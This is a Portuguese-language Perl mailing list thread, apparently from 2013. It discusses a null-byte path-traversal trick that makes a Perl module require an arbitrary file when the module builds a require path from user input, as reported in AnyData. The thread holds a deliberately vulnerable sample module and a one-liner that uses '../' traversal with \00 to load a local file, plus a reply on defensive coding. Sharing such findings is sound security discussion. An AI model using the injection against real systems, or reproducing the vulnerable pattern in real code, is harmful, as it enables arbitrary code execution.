Ops o e-mail foi sem querer. 2013/6/12 Daniel de Oliveira Mantovani <daniel.oliveira.mantov...@gmail.com>: > http://blogs.perl.org/users/michael_g_schwern/2011/10/how-not-to-load-a-module-or-bad-interfaces-make-good-people-do-bad-things.html > > 2013/6/12 Blabos de Blebe <bla...@gmail.com>: >>> mas ficou claro que é possível injetar um 'evil code' num código >>> vulnerável sem muitos problemas. >> >> Correto. Em um código vulnerável é possível injetar 'evil code' sem maiores >> problemas. Isso é um bug que existe no nosso universo, infelizmente :) >> >> No caso de Perl e principalmente nos casos onde se faz necessária a inclusão >> e execução de código, nós devemos ficar atentos para não escrever código >> vulnerável, evitando coisas óbvias como, aplicar 'eval' em strings que >> venham de fontes não confiáveis, interpolar entradas do usuário, vulgo, dar >> require em nomes de arquivos que venham de entrada do usuário e coisas do >> gênero. >> >> Existem módulos no cpan, especialmente criados para lidar com essas >> situações, nem sempre da melhor maneira possível. >> >> No link abaixo, podemos encontrar a ponta do iceberg e começar a conversa: >> >> http://blogs.perl.org/users/michael_g_schwern/2011/10/how-not-to-load-a-module-or-bad-interfaces-make-good-people-do-bad-things.html >> >> []'s >> >> >> 2013/6/11 Junior Moraes <jun...@fvox.com.br> >>> >>> Hi. >>> >>> Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1] >>> dentro de um webservice que retorna as informações desejadas. Neste módulo, >>> temos o método adExport() que recebe um parâmetro (que, no caso da >>> aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o >>> módulo. >>> Fiquei brincando de manipular o path com esse parâmetro, mas a >>> concatenação da string '.pm' dificultava as coisas. Porém, como na >>> exploração de um RFI/LFI (Remote/Local File Inclusion) no PHP, é possível >>> ignorar isso com o bom e velho null byte[2]. >>> >>> Escrevi um exemplo prático: >>> >>> $ pwd >>> /home/fvox/poc >>> >>> $ cat Module.pm >>> package Module; >>> >>> use common::sense; >>> use Moo; >>> use Carp; >>> >>> use vars qw(@ISA @EXPORT); >>> @ISA = qw(Exporter); >>> @EXPORT = qw(testing); >>> >>> sub testing { >>> my $plugin = shift; >>> >>> my $module = 'Module/' . $plugin . '.pm'; >>> eval { require $module; }; >>> croak $@ if $@; >>> >>> $module =~ s/\//::/g; >>> $module =~ s/\.pm$//gi; >>> my $obj = $module->new; >>> } >>> >>> 1; >>> >>> $ cat inc.pl >>> print "Null Byte injetado com sucesso! :)\n"; >>> >>> $ perl -MModule -E'say >>> testing("../../../../../../../../../home/fvox/poc/inc.pl\00");' >>> Null Byte injetado com sucesso! :) >>> Can't locate object method "new" via package >>> "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl" >>> (perhaps you forgot to load >>> "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"?) at >>> Module.pm line 21. >>> >>> >>> Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que é >>> possível injetar um 'evil code' num código vulnerável sem muitos problemas. >>> Suponho que também funcione na função open(), entre outros casos. >>> Alguém já tinha brincado com isso antes? Hhauhauh >>> >>> PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de >>> retardado e brincar com isso em 2013... :P >>> >>> [1] https://metacpan.org/module/AnyData >>> [2] http://en.wikipedia.org/wiki/Null_character >>> >>> -- >>> >>> ==================================== >>> Junior "fvox" Moraes >>> Linux Reg. #557527 >>> junior[at]fvox[dot]com[dot]br >>> fb[dot]com/juniorfvox >>> twitter[dot]com/fvox >>> ==================================== >>> =begin disclaimer >>> Sao Paulo Perl Mongers: http://sao-paulo.pm.org/ >>> SaoPaulo-pm mailing list: SaoPaulo-pm@pm.org >>> L<http://mail.pm.org/mailman/listinfo/saopaulo-pm> >>> =end disclaimer >>> >> >> >> =begin disclaimer >> Sao Paulo Perl Mongers: http://sao-paulo.pm.org/ >> SaoPaulo-pm mailing list: SaoPaulo-pm@pm.org >> L<http://mail.pm.org/mailman/listinfo/saopaulo-pm> >> =end disclaimer >> > > > > -- > > -dom > > -- > > IBM - Business Analytics Optimization Consultant > Daniel Mantovani +5511 8538-9897 > XOXO
-- -dom -- IBM - Business Analytics Optimization Consultant Daniel Mantovani +5511 8538-9897 XOXO =begin disclaimer Sao Paulo Perl Mongers: http://sao-paulo.pm.org/ SaoPaulo-pm mailing list: SaoPaulo-pm@pm.org L<http://mail.pm.org/mailman/listinfo/saopaulo-pm> =end disclaimer